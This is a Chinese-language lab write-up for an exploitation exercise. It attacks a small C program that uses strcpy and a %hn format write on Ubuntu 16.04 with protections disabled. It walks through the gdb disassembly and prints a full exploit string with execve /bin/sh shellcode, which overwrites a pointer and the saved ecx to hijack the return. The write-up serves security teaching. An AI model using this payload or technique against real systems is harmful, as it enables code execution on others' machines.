一、实验介绍
1、实验环境:
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
2、实验工具:
gdb
3、实验程序
/* fs1.c *
int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];
strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}
注: %hn :将当前字符串(buf)的长度(以字节为单位)打印到变量plen(两个字节)。
4、实验目的
构造输入参数,绕过while循环,执行shellcode。
5、关闭ALSR
6、编译程序:关闭DEP与SSP
二、分析汇编代码
输入的字符串是“abcdefg”。
程序有两步关键操作:
1、通过%hn将buf的实际长度写入plen中,但是只能写入两个字节,如果buf的长度过长,写入的长度会出现截断。例如,如果buf的长度为0x10000,则plen中只会写入0x0000。
2、通过检查zero是否为零,来判断是否发生栈溢出,zero只有为零,程序才能正常退出,否则程序陷入死循环。
当执行至地址0x80484ca处时,已完成plen的写入。
此时的栈空间:
三、编写exploit
- 思路
首先,我们要利用strcpy()将栈中plen覆写为zero的地址,从而控制zero的值;然后,利用%hn,将buf的实际长度写入zero中(因为在上一步中,plen已经被zero的地址覆写了),且需满足zero=0,以让程序可以正常退出,则buf最小长度为0x10000(因%hn只能写入2个字节,所以截断后是0x0000),当然也可以是0x20000,甚至更多。
- 构造字符串
$(python -c "print ('\x9c\xce\xfe\xff'+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + 'C'*(256-25-4)+'\x9e\xcf\xfe\xff' + '\x9c\xce\xfe\xff'*((0x10000 - 260 )/ 4) + 'X'*((0x10000 -260)%4))")
字符串结构:shellcode addr + shellcode + 填充字符 1 ("C" * 224)+ zero addr + 填充字符2(shellcode addr * n)
中间三部分很好理解,分别是用于执行的shellcode(28字节),用于填充buf的填充字符(224字节),和用于覆写plen的zero addr。
最后一部分字符串有两个作用:
1、用于填充。使得整个字符串的长度是0x10000,从而设置zero = 0x0000,绕过while循环,让程序可以正常退出;
2、用于修改该栈中ecx的值。从结尾处的汇编代码可以看出,程序通过ecx的值来设置esp,总而最后获取返回地址,所以,如果控制了栈中ecx的值,就相当于间接控制了程序的返回地址。而且将shellcode addr作为填充字符,不需要考虑ecx的在栈中的具体位置,地毯式轰炸,简单粗暴。
0x080484dc <+113>: pop ecx // ecx = shellcode addr
0x080484dd <+114>: pop ebx
0x080484de <+115>: pop ebp
0x080484df <+116>: lea esp,[ecx-0x4] //esp = shellcode addr – 0x4
0x080484e2 <+119>: ret //[esp] = [shellcode addr – 0x4]= shellcode addr
第一部分的shellcode addr可能不太好理解。
通过最后一部分字符串,我们已经用shellcode addr 覆写了栈中ecx的值,所以当程序执行到0x80484e2处时,esp = shellcode addr - 0x4。
那么当执行ret指令时,栈中的弹出的返回地址即是[esp] = [shellcode addr - 0x4] = shellcode addr,所以,最后程序会跳转执行shellcode。